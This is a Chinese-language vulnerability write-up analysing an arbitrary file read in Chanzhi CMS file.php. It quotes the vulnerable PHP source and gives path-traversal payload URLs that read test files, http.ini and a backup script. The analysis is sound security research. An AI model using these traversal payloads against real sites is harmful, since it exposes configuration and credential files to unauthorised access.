0x01 前言
这两天看到禅知这个CMS有一个前台
的任意文件读取漏洞,就在此写一片分析文章。
0x02 环境
- 下载安装安装程序,这个CMS是封装起来的,连着Apache+MySQL一起打包成exe可执行程序。
- 安装也比较简单,傻瓜式安装。
0x03 漏洞复现
- 在网站根目录
C:\xampp\chanzhi\www
新建一个测试文件test.php
- 执行payload查看文件内容:
http://localhost/file.php?pathname=../test.phpi&t=txt&o=source
- 执行payload来查看程序的配置文件:
http://localhost/file.php?pathname=../http.ini&t=txt&o=source
- 跨目录读取文件(前提是有目录权限):
http://localhost/file.php?pathname=../../bin/php/backup.php&t=txt&o=source
0x04 漏洞分析
漏洞文件:C:\xampp\chanzhi\www\file.php
,从头开始往下分析:
- 1-19行是定义变量和判断是否GET传值过来,传全称或者简称都可以赋值给对应的变量,比如:
http://192.168.86.130/file.php?f=../test.php&t=txt&o=source
,pathname
和f
是对应的,下面的以此类推。 主要是19行,$_SERVER['SCRIPT_FILENAME']
的值是C:/xampp/chanzhi/www/file.php
,加上dirname
函数后的值为C:/xampp/chanzhi/www
。rtrim
函数是去掉/
右边的值然后加上/data
/之后$dataRoot
的值为C:/xampp/chanzhi/www/data/
<?php
$pathname = '';
$objectType = '';
$imageSize = '';
$extension = '';
$version = '';
if(isset($_GET['pathname'])) $pathname = $_GET['pathname'];
if(isset($_GET['objectType'])) $objectType = $_GET['objectType'];
if(isset($_GET['imageSize'])) $imageSize = $_GET['imageSize'];
if(isset($_GET['extension'])) $extension = $_GET['extension'];
if(isset($_GET['f'])) $pathname = $_GET['f'];
if(isset($_GET['o'])) $objectType = $_GET['o'];
if(isset($_GET['s'])) $imageSize = $_GET['s'];
if(isset($_GET['t'])) $extension = $_GET['t'];
if(isset($_GET['v'])) $version = $_GET['v'];
$dataRoot = rtrim(dirname($_SERVER['SCRIPT_FILENAME']), '/') . '/data/';
- 判断
$objectType
变量的值,如果传入的值不是source
和slide
,那么进入else
的代码段,但是会加上upload
目录就不能实现任意文件读取了,所以传入source
是最合适的。$dataRoot
赋值给$savePath
然后和$pathname
拼接起来赋值给$realPath
变量
if($objectType == 'source' or $objectType == 'slide')
{
if($objectType == 'slide' and !preg_match('/^slides\/[0-9_0-9]/', $pathname)) die('The file does not exist!');
$savePath = $dataRoot;
}
else
{
if(!preg_match('/^[0-9]{6}\/f_[a-z0-9]{32}/', $pathname)) die('The file does not exist!');
$savePath = $dataRoot . 'upload/';
}
$realPath = $savePath . $pathname;
- 开头判断
$realPath
文件是否存在,接下来把$realPath
赋值给$filePath
,$mime = getMimetype($extension);
这一句是根据参数t
或者extension
传过来的值决定Content-Type
的可用值。getMimetype
函数可以到123行查看,比如我们传过来的值$_GET['t']=txt
,那么就会对应的Content-Type
是:
header("Content-type: $mime");
是定义HTTP头Content-type
内容,$handle = fopen($filePath, "r");
读取$filePath
的文件。
if(!file_exists($realPath))
{
$realPath = $savePath . (strpos($pathname, '.') === false ? $pathname : substr($pathname, 0, strpos($pathname, '.')));
}
$filePath = $realPath;
if($imageSize == 'smallURL') $filePath = str_replace('f_', 's_', $realPath);
if($imageSize == 'middleURL') $filePath = str_replace('f_', 'm_', $realPath);
if($imageSize == 'largeURL') $filePath = str_replace('f_', 'l_', $realPath);
if(!file_exists($filePath)) $filePath = $realPath;
if(!file_exists($filePath)) die('The file does not exist!');
$seconds = 3600 * 24 * 30;
$expires = gmdate("D, d M Y H:i:s", time() + $seconds) . " GMT";
header("Expires: $expires");
header("Pragma: cache");
header("Cache-Control: max-age=$seconds");
$mime = getMimetype($extension);
header("Content-type: $mime");
$handle = fopen($filePath, "r");
- 还没结束,触发是靠
while(!feof($handle)) echo fgets($handle);
这一句,如果没有这一句就不会构成任意文件读取,所以每一步都很关键。
if($handle)
{
if($mime == 'video/mp4')
{
$length = filesize($filePath);
$start = 0;
$end = $length - 1;
header("Accept-Ranges: 0-$length");
if(isset($_SERVER['HTTP_RANGE']))
{
$cStart = $start;
$cEnd = $end;
list(, $range) = explode('=', $_SERVER['HTTP_RANGE'], 2);
if(strpos($range, ',') !== false)
{
header('HTTP/1.1 416 Requested Range Not Satisfiable');
header("Content-Range: bytes $start-$end/$length");
exit;
}
if($range == '-')
{
$cStart = $length - substr($range, 1);
}
else
{
$range = explode('-', $range);
$cStart = $range[0];
$cEnd = (isset($range[1]) && is_numeric($range[1])) ? $range[1] : $length;
}
$cEnd = ($cEnd > $end) ? $end : $cEnd;
if ($cStart > $cEnd || $cStart > $length - 1 || $cEnd >= $length)
{
header('HTTP/1.1 416 Requested Range Not Satisfiable');
header("Content-Range: bytes $start-$end/$length");
exit;
}
$start = $cStart;
$end = $cEnd;
$length = $end - $start + 1;
fseek($handle, $start);
header('HTTP/1.1 206 Partial Content');
}
header("Content-Range: bytes $start-$end/$length");
header("Content-Length: " . $length);
$buffer = 1024 * 8;
while(!feof($handle) && ($p = ftell($handle)) <= $end)
{
if($p + $buffer > $end) $buffer = $end - $p + 1;
set_time_limit(0);
echo fread($handle, $buffer);
flush();
}
fclose($handle);
exit;
}
else
{
while(!feof($handle)) echo fgets($handle);
fclose($handle);
}
}
- 那么到这里就开始构思怎么样去构造Payload:
- o参数必须为
source
- t参数必须对应的Content-type的值为
text/plain
- f参数文件的相对路径
那么我们最终的Payload为: http://192.168.86.130/file.php?f=../test.php&t=txt&o=source 或者 http://192.168.86.130/file.php?pathname=../test.php&extension=txt&objectType=source
0x05 参考
https://www.cnblogs.com/52fhy/p/5436673.html http://www.lsafe.org/?p=262
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/zen-knowledge-pro-1.6-front-end-arbitrary-file-reading-analysis.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。